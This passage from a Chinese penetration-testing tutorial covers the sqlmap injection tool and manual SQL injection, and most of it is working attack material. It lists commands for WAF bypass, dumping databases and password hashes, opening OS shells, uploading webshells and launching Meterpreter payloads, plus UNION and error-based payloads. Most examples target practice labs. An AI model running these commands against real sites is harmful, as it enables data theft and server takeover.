   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log" 
   python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

使用 tamper 插件绕过 WAF 

关于 waf:https://www.bilibili.com/video/BV1jL4y1j7i6?p=51
如何使用 SQLMap绕过 WAF:http://www.freebuf.com/articles/1000.html
绕过WAF、安全狗知识整理:http://blog.csdn.net/hxsstar/article/details/24771085
tamper 一些脚本说明:http://blog.csdn.net/hxsstar/article/details/22782627

sqlmap 的 tamper 目录下有用于绕过 waf 的脚本 ( KALI目录位置:/usr/share/sqlmap/tamper/ )。
如果找不到所在位置,可以使用 find 查找:find / -type d -name "sqlmap" -print

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第19张图片

修改注入的数据,sqlmap 除了使用 CHAR() 函数来防止出现单引号之外没有对注入的数据修改,还可以使用--tamper 参数对数据做修改来绕过 WAF 等设备。

示例:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

sqlmap 注入 拖库 (脱库、脱裤) 常用命令

--dump  意思为:转储、转存,可以理解为下载数据,即 读取和保存。慎用,容易进号子

sqlmap.py -u "注入地址" -v 1 --dbs              // 列举数据库   
sqlmap.py -u "注入地址" -v 1 --current-db       // 当前数据库  
sqlmap.py -u "注入地址" -v 1 --users            // 列数据库用户  
sqlmap.py -u "注入地址" -v 1 --current-user     // 当前用户  
sqlmap.py -u "注入地址" -v 1 --tables -D "数据库"                          // 列举数据库的表名  
sqlmap.py -u "注入地址" -v 1 --columns -T "表名" -D "数据库"               // 获取表的列名 

// 获取表中的数据,包含列,已经就开始拖库,获取的数据存储sqlmap/output/ 目录。
sqlmap.py -u "注入地址" -v 1 --dump -C "字段,字段" -T "表名" -D "数据库"  

参数:--dump-all, --exclude-sysdbs
dump 后文件默认路径:/root/.local/share/sqlmap/output
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --count 
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dump -D security -T users
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dump-all --exclude-sysdbs -D security -T

access、MySQL、sqlserver

ACCESS 注入:
sqlmap.py -u "url"                        /* -u为常规扫描参数 */
sqlmap.py -u "url" --tables               /* --tables猜数据库表 */
sqlmap.py -u "url" --columns -T "表名"    /* 列出指定表名。爆字段 */
/* --dump为拆解字段名会保存在sqlmap/output目录下。暴内容 */
sqlmap.py -u "url" --dump(脱裤) -T "表名" -C "字段名"   

MYSQL 注入:
sqlmap.py -u "url"                                    /* 扫描注入点 */
sqlmap.py -u "url" --dbs                              /* 列出所有数据库 */
sqlmap.py -u "url" --current-db                       /* 列出当前数据库 */
sqlmap.py -u "url" --current-user                     /* 列出当前用户 */
sqlmap.py -u "url" --tables -D "数据库名"             /* 拆解数据库表 */
sqlmap.py -u "url" --columns -T "表名" -D "数据库名"  /* 拆解指定表字段名。即爆字段 */
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "数据库"   /* 即爆内容 */

SQLSERVER 数据库:
sqlmap.py -u "url"                    /*扫描注入点*/
sqlmap.py -u "url" --dbs              /*列出所有数据库*/
sqlmap.py -u "url" --current-db       /*列出当前数据库*/
sqlmap.py -u "url" --current-user     /*列出当前用户*/
sqlmap.py -u "url" --tables -D "当前数据库名"         /*拆解当前数据库表*/
sqlmap.py -u "url" --columns -T "要拆得的表名" -D "当前数据库名" /*拆解指定表字段名*/
sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "当前数据库"

判断是否存在注入

参数:--technique 这个参数可以指定 sqlmap 使用的探测技术,默认情况下会测试所有的方式。支持的探测方式如下:

  • B: Boolean-based blind SQL injection(布尔型注入)
  • E: Error-based SQL injection(报错型注入)
  • U: UNION query SQL injection(可联合查询注入)
  • S: Stacked queries SQL injection(可多语句查询注入)
  • T: Time-based blind SQL injection(基于时间延迟注入)

URL 最好使用 英文的双引号 包括

命令格式:sqlmap -u "http://www.vuln.cn/post.php?id=1"

假设目标注入点是 http://192.168.0.3/sqli_labs/Less-1/?id=3,判断其是否存在注入的命令如下:
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3

结果显示存在注入:

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第20张图片

当注入点后面的参数大于等于2个时,需要加双引号:sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"  运行完成后,爆出一大段代码,这里有三处需要选择的地方:

  • 第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;
  • 第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;
  • 第三处的意思是参数id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

从文件中读入 URL

从 txt 文件中加载 HTTP 请求,sqlmap 可以从一个文本文件中获取 HTTP 请求,这样就可以不设置其他参数(如 cookie、POST 数据等),txt 文件中的内容为 Web 数据包,

如下:使用 fiddler 抓包

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第21张图片

命令: sqlmap -r 5_Full.txt

sqlmap -r "c:\tools\request.txt" -p "username" --dbms=mysql     指定username参数

比如文本文件内如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,
或者你可以在Host头后面加上:443

查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库,如图所示:

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --dbs

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第22张图片

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第23张图片

从图中可以看到,查询出了6个数据库及所有数据库的库名。当继续注入时,--dbs 缩写成 -D xxx,其意思是在 xxx 数据库中继续查询其他数据。

获取数据库中的表名

该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下所示。如果在该命令中不加入 -D 参数来指定某一个具体的数据库,那么 Sqlmap 会列出数据库中所有库的表。

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 -D security --tables

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第24张图片

从图中可以看到 security 数据库中拥有的 4 个数据表。当继续注入时,--tables 缩写成 -T,意思是在某表中继续查询。

获取表中的字段名

该命令的作用是查询完表名后,查询该表中所有的字段名。

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 -T users --columns

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第25张图片

从图中可以看到在 security 数据库中的 users 表中一共有3个字段。在后续的注入中,--columns 缩写成-C。

获取字段内容

该命令是查询完字段名之后,获取该字段中具体的数据信息

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 -D security -T users -C username,password --dump

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第26张图片

参数:--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。

  • 使用-D,-T 参数指定想要获取哪个库的哪个表,
  • 不使用 -D 参数时,默认使用当前库。
  • 只用 -dump 跟-D参数(不使用-T与-C参数),获取指定库中的所有表的内容,
  • 用 -dump 跟 -C 获取指定的字段内容

sqlmap 为每个表生成了一个 CSV 文件。如果你只想获取一段数据,可以使用 --start 和 --stop 参数,例如,你只想获取第一段数据可以使用 --stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取数据库的所有用户

该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --users

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第27张图片

获取数据库用户的密码

该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限,sqlmap会先列举出用户,然后列出Hash,并尝试破解

命令:

sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --passwords

sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --passwords -U root

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第28张图片

可以看到 sqlmap 不仅列出了数据库的用户跟密码,同时也识别出是 mysql 数据库,并询问用户是否采用字典爆破的方式进行破解。也可以提供 -U 参数来指定爆破哪个用户的hash

​从图中可以看到,密码使用 MySQL5 加密,可在网站中自行解密(自带的解密很慢)。​

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第29张图片

获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,如下所示。

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --current-db

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第30张图片

获取当前网站数据库的用户名称

使用该命令可以列出当前网站使用的数据库用户

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --current-user

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第31张图片

*  星号 参数 ( 将注入语句插入到指定位置 )

有些 web 服务器进行了url rewrite 或者 网站是伪静态的页面,sqlmap 的普通注入是不行的,所以提供了 * 参数,将SQL语句插入指定位置。" * " 一般用于伪静态注入。

  • 在无法直接提供测试参数时使用 * 来代替要测试的参数。
  • 在使用 HTTP 注入时使用 -r 参数也可以直接在文本中添加*号

示例:sqlmap.py -u "http://www.xxx.com/id/1*.html" --dbs

sqlmap 遇到 url 重写的注入,哪里存在注入就加上 * 号
示例:./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“

--level 5:探测等级

共5级,级别越高,检测越全面,同时运行速度越慢

参数--level 5 指定需要执行的 测试等级,一共有5个等级(1~5),不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。

sqlmap 使用的 payload 可以在 xml/payloads.xml 中看到,也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些 payload,同时也会影响测试的注入点,GET 和 POST 的数据都会测试,HTTP Cookie 在 level为2的时候就会测试,HTTP User-Agent / Referer 头在 level为3 的时候就会测试。

总之在不确定哪个 payload 或者参数为注入点的时候,为了保证全面性,建议使用高的 level 值。

--risk  风险等级

共有 3 个风险等级,

  • 1 会测试大部分的测试语句,默认是1
  • 2 会增加基于事件的测试语句,
  • 3 会增加 OR 语句的 SQL 注入测试。

在有些时候,例如在 UPDATE 的语句中,注入一个 OR 的测试语句,可能导致更新的整个表,可能造成很大的风险。测试的语句同样可以在 xml/payloads.xml 中找到,你也可以自行添加payload。

--string,--not-string,--regexp,--code 页面比较

默认情况下 sqlmap 通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,

比如:页面当中包含一个动态的广告或者其他内容,这会导致 sqlmap 的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在( 使用 --string 参数添加字符串,--regexp 添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串( --not-string 添加 )。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数 --code=200。

--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置。

--text-only(HTTP响应体中不同)

--titles(HTML的title标签中不同)

--cookie  注入

当程序有防 get 注入的时候,可以使用 cookie 注入

cookie 注入:sqlmap -u "http://www.baidu.com/shownews.asp" --cookie="id=11" --level 2 (只有level 达到 2 才会检测 cookie )

sqlmap.py -u "www.xxx.com/asp 或者 www.xxx.com/php" --cookie "参数名如id=1" --level 2    /*level为提升权限*/
sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1"  --dbs --level 2
什么数据库就按照上面的数据库加上cookie语句拆解就行了

cookie注入
url --cookie "id=" --table --level 2                      //暴表  
url --cookie "id=" --columns -T 表名 --level 2            //获得字段  
url --cookie "id=" --dump -T 表名 -C "字段名" --level 2   //获得内容  

方法一:
假设有个网站,url地址为:http://www.127.0.0.1/base32?id=45
假如想测试这个页面是否有cookie注入
采用的注入方式如下:sqlmap.py -u "http://www.127.0.0.1/base32" --data="id=10" --dbs --level 2
解释:level 2是探测等级的意思,这里采用注入选择探测等级为2,当探测等级为2或2以上sqlmap是会尝试注入cookie参数的

 
方法二:
sqlmap.py -u "存在注入url" --cookie="抓包抓到的cookie"
或者是这样使用:sqlmap.py -u "存在注入url" --cookir="抓包抓到的cookie" --level 2    //前面讲过了探测等级为2就注入cookie参数的

POST 注入

sqlmap.py -u "url" --data "POST参数"   或者   sqlmap.py -u "url" --data="POST参数" 

假设有个网站 url 地址为 http://www.127.0.0.1/base64?id=10 想测试这个页面是否有post注入,可以执行命令:sqlmap.py -u "http://www.127.0.0.1/base64" --data="id=10" -f --banner --dbs

在使用 Sqlmap 进行 post 型注入时,经常会出现请求遗漏导致注入失败的情况,可以即结合 burpsuite 来使用 sqlmap,用这种方法进行 post 注入测试会更准确,操作起来也非常容易。

  • 1. 浏览器打开目标地址 http:// www.2cto.com /Login.asp
  • 2. 配置 burp 代理(127.0.0.1:8080)以拦截请求
  • 3. 点击 login 表单的 submit 按钮
  • 4. 这时候 Burp 会拦截到了我们的登录POST请求
  • 5. 把这个 post 请求复制 为txt,我这命名为 search-test.txt 然后把它放至 sqlmap 目录下
  • 6. 执行命令:./sqlmap.py -r search-test.txt -p tfUPass

后台注入:sqlmap.py -u "http://xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)" --forms

POST 登陆框注入。注入点:http://xxx.xxx.com/Login.asp

  • 方法 1:对着注入点使用 burpsuite 抓包,保存 txt 格式文件,执行命令:sqlmap.py -r search-test.txt -p 注入的字段
  • 方法 2:自动搜索表单。sqlmap -u http://www.xxx.com/Login.asp --forms  
  • 方法 3:指定参数。sqlmap -u http://xxx/Login.asp --data "tfUName=1&tfUPass=1"

搜索框注入。和 post 注入相同,只不过形式是注入搜索框,而不是 username 或 password。

  • 方法 1:sqlmap.py -u "http://xxxxxx.com/search.php(asp,aspx,jsp)" --data="抓包到的搜索框的信息" -p "指定搜索框里面的一个参数值"
  • 搜索框注入手工判断:
    ' and 1=1 and '%'=' 返回所以结果
    ' and 1=2 and '%'=' 无返回结果
    ' and exists (select * from sysobjects) and '%'=' 返回正常   //最后一个针对于mssql数据库系统对象表,针对于sql server(Mssql)数据库

--is-dba:当前用户是否为管理权限

该命令用于查看当前账户是否为数据库管理员账户

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --is-dba

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第32张图片

--roles:列出数据库管理员角色

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --roles

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap_第33张图片

--referer:HTTP referer头

Sqlmap 可以在请求中伪造 HTTP 中的 referer,当--level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --referer http://www.baidu.com

--search

参数:--search,-C,-T,-D  可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。可以在一下三种情况下使用:

  • -C 后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
  • -T 后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
  • -D 后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

示例:在 dedecms 数据库中搜索字段 admin 或者 password

命令:sqlmap -r "D:\request.txt" --dbms=mysql -D dedecms --search -C admin,password

--sql-shell:运行自定义SQL语句

命令用于执行指定的SQL语句,如下所示,

假设执行 select * from users limit 0,1 语句。

--sql-query 

qlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

示例:$ sqlmap -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
$ python sqlmap -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

--os-cmd,--os-shell:运行任意操作系统命令

在当前用户有权限使用特定的函数的前提下,如果数据库为 MySQL、PostgreSQL,Sqlmap 会上传一个二进制库,包含用户自定义的函数 sys_exec () 和 sys_eval (),那么创建的这两个函数就可以执行系统命令。

如果数据库是微软 SQL Server时,Sqlmap通过存储过程 xp_cmdshell 来执行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本默认被禁用),则 Sqlmap 会重新启用它;如果不存在,会自动创建。

用 --os-shell 参数可以模拟一个真实的 Shell,输入想执行的命令。当不能执行多语句时(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE写进可写目录,创建一个Web后门。

Sqlmap 支持 ASP、ASP.NET、JSP 和 PHP 四种语言(要想执行该参数,需要有数据库管理员权限,也就是 --is-dba 的值要为 True)。

命令:sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
执行后根据提示选择网站语言,然后回车,指定目标站点根目录,然后继续回车即可完整执行命令。

命令:sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行。

使用 shell命令:
sqlmap -r "c:\tools\request.txt" -p id --dms=mysql --os-shell
接下来指定网站可写目录:"E:\php\htdocs\dvwa"
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap.py -u "url" --os-cmd="net user" /*执行net user命令*/

sqlmap.py -u "url" --os-shell /*系统交互的shell*/

执行命令后会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(此文件为上传页面)

--file-read:从数据库服务器中读取文件

该命令用于读取执行文件,当数据库为 MySQL、PostgreSQL 或 MicrosoftSQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --file-read "C:/11.txt"

执行完会把文件保存到本地目录下

--file-write --file-dest:上传文件到数据库服务器中

该命令用于写入本地文件到服务器中,当数据库为 MySQL、PostgreSQL 或 Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。

命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --file-dest "C:/windows/Temp/1.php"

执行结束即可把本地的1.txt 文件上传到目标服务器下

示例:sqlmap -r "c:\request.txt" -p id --dbms=mysql --file-dest="e:\php\htdocs\dvwa\inc\include\1.php" --file-write "f:\webshell\1112.php"

结合 meterpreter 使用

参数:

  • --os-pwn
  • --os-smbrelay
  • --os-bof
  • --priv-esc
  • --msf-path
  • --tmp-path

当数据库为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap 根据 Metasploit 生成 shellcode,并有四种方式执行它:

  • 1、通过用户自定义的 sys_bineval() 函数在内存中执行 Metasplit 的 shellcode,支持 MySQL 和 PostgreSQL 数据库,参数:--os-pwn。
  • 2、通过用户自定义的函数上传一个独立的 payload 执行,MySQL 和 PostgreSQL 的sys_exec() 函数,Microsoft SQL Server 的 xp_cmdshell() 函数,参数:--os-pwn。
  • 3、通过 SMB 攻击 (MS08-068) 来执行 Metasploit 的 shellcode,当 sqlmap 获取到的权限足够高的时候(Linux/Unix的uid=0,Windows 是 Administrator),--os-smbrelay。
  • 4、通过溢出 Microsoft SQL Server 2000 和 2005 的 sp_replwritetovarbin 存储过程 (MS09-004),在内存中执行 Metasploit 的 payload,参数:--os-bof

示例:sqlmap -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL 在 Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

操作 Windows 注册表

当数据库为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前 web 应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

  • 读取注册表值:参数:--reg-read
  • 写入注册表值:参数:--reg-add
  • 删除注册表值:参数:--reg-del
  • 注册表辅助选项:参数:--reg-key,--reg-value,--reg-data,--reg-type

需要配合之前三个参数使用,

示例:sqlmap -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

4、sqli-labs 靶场

sqli-labs 通关攻略:https://cloud.tencent.com/developer/article/1906116

Sqli-labs 知识总结:https://www.cnblogs.com/7-58/p/12286731.html

5、SQL 手动注入 总结

From:https://blog.csdn.net/MachineGunJoe/article/details/116267692

提起sql注入,相信大家并不陌生,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互。有可能存在 SQL 注入的数据库类型可以是 Mysql、Mssql、Oracle、Postgress 等等。

预备知识、基本步骤

预备知识

对 mysql 数据库有一定了解;对基本的 sql 语句有所了解;
对 url 编码 有了解:

  • 空格 = "%20"
  • 单引号 = "%27"
  • 双引号 = "%22"
  • 井号 = "%23"

基本步骤

  • 1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
  • 2. 确定存在注入的表的列数,以及表中数据那些字段可以显示出来
  • 3. 获取数据库版本,用户,当前连接的数据库等信息
  • 4. 获取数据库中所有表的信息
  • 5. 获取某个表的列字段信息
  • 5. 获取相应表的数据

前面闭合;要执行的sql;后面闭合

sql 注释的三种方式

  • --空格  ( 注意:-- ' 最后一个单引号前面有空格 )
  • --+
  • #

确定表的列数(总共的字段数)

采用 union 探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同;
‘order by 1’代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。

示例:

当试到'4'时,出现报错信息,可以知道该表有3列:Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1

确定字段的显示位

显示位:表中数据第几位的字段可以显示,因为并不是所有的查询结果都会展示在页面中,因此需要探测页面中展示的查询结果是哪一列的结果;

'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息

获取当前数据库信息

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用

  • group_concat() 函数:可以把查询出来的多行数据连接起来在一个字段中显示
  • database() 函数:查看当前数据库名称
  • version() 函数:查看数据库版本信息
  • user() 函数:返回当前数据库连接使用的用户
  • char() 函数:将十进制ASCII码转化成字符,以便于分隔每个字段的内容

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(database(),version()),3 -- '
  Your Login name:security5.5.53
  Your Password:3
可以知道当前数据库名为security,数据库版本为5.5.53

获取全部数据库信息

Mysql 有一个系统的数据库 information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),schema_name,char(32)),3 from information_schema.schemata -- '

获取到了所有的数据库信息 information_schema ,security

获取 security 数据库中的表信息

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),table_name,char(32)),3 from information_schema.tables where table_schema='security' -- '
  Your Login name: emails , referers , uagents , users 
    Your Password:3
ps:table_schema= '数据库的名'

获取 users 表的列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '
 Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1

获取数据

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '
 Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '' LIMIT 0,1

Mysql 手动注入

虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要,这里做个知识总结,不会有详细的知识解读,类似于查询手册的形式,便于复习与查阅,文中内容可能会存在错误,请指出并改正。。。

注入的时候,判断注入
http://site/script?id=10
http://site/script?id=11-1            # 相当于 id=10
http://site/script?id=(select 10)     # 相当于 id=10
http://site/script?id=10 and 1=1      # 失败

通过判断可发现 and 和 or 被过滤
http://site/script?id=10–            # 失败
http://site/script?id=10;–           # 失败
http://site/script?id=10);–          # 失败
http://site/script?id=10)subquery;–  # 失败

可以用 burpsuite 的 intruder 的字典跑,但是仍然失败。
这里可以用到SQL语句的case when …then … else … end语句
CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。

可以这样子理解:CASE… WHEN… THEN …ELSE …END

CASE WHEN 语法有两种情况:

第一种是CASE 后面不带表达式的;
CASE WHEN expression THEN 操作1
WHEN expression THEN 操作2
.......
ELSE 操作n
END 

第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。
CASE expression
WHEN expression值1 THEN 操作1
WHEN expression值2 THEN 操作2
.......
ELSE 操作n
END 

http://host/script?id=11-(case when 1=1 then 1 else 0 end) 
用1=1跟1=2测试

http://host/script?id=10 # 当条件为真的时候
http://host/script?id=11 # 当条件为假的时候 
可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢?
Sqlmap 默认是自己寻找注入点的,但是你加上一个*,可以引导他。

语句:sqlmap.py -u "http://host/script?id=11-(case when 1=1星号 then 1)"

注入最头痛的就是遇到过滤,sqlmap 提供了字符转换的功能 --tamper=between

当然自己可以改写转换内容,文件在 /tamper 目录下。

关于 post 注入 sqlmap 可以用 -r 参数 加载数据包:sqlmap.py -r post.txt

having xor 等逻辑符号也可以判断注入。

收集了一些利用 Sqlmap 做注入测试的 TIPS,其中也包含一点绕WAF的技巧。

联合注入

?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
 
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
 
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
 
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
 
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
 
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
 
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

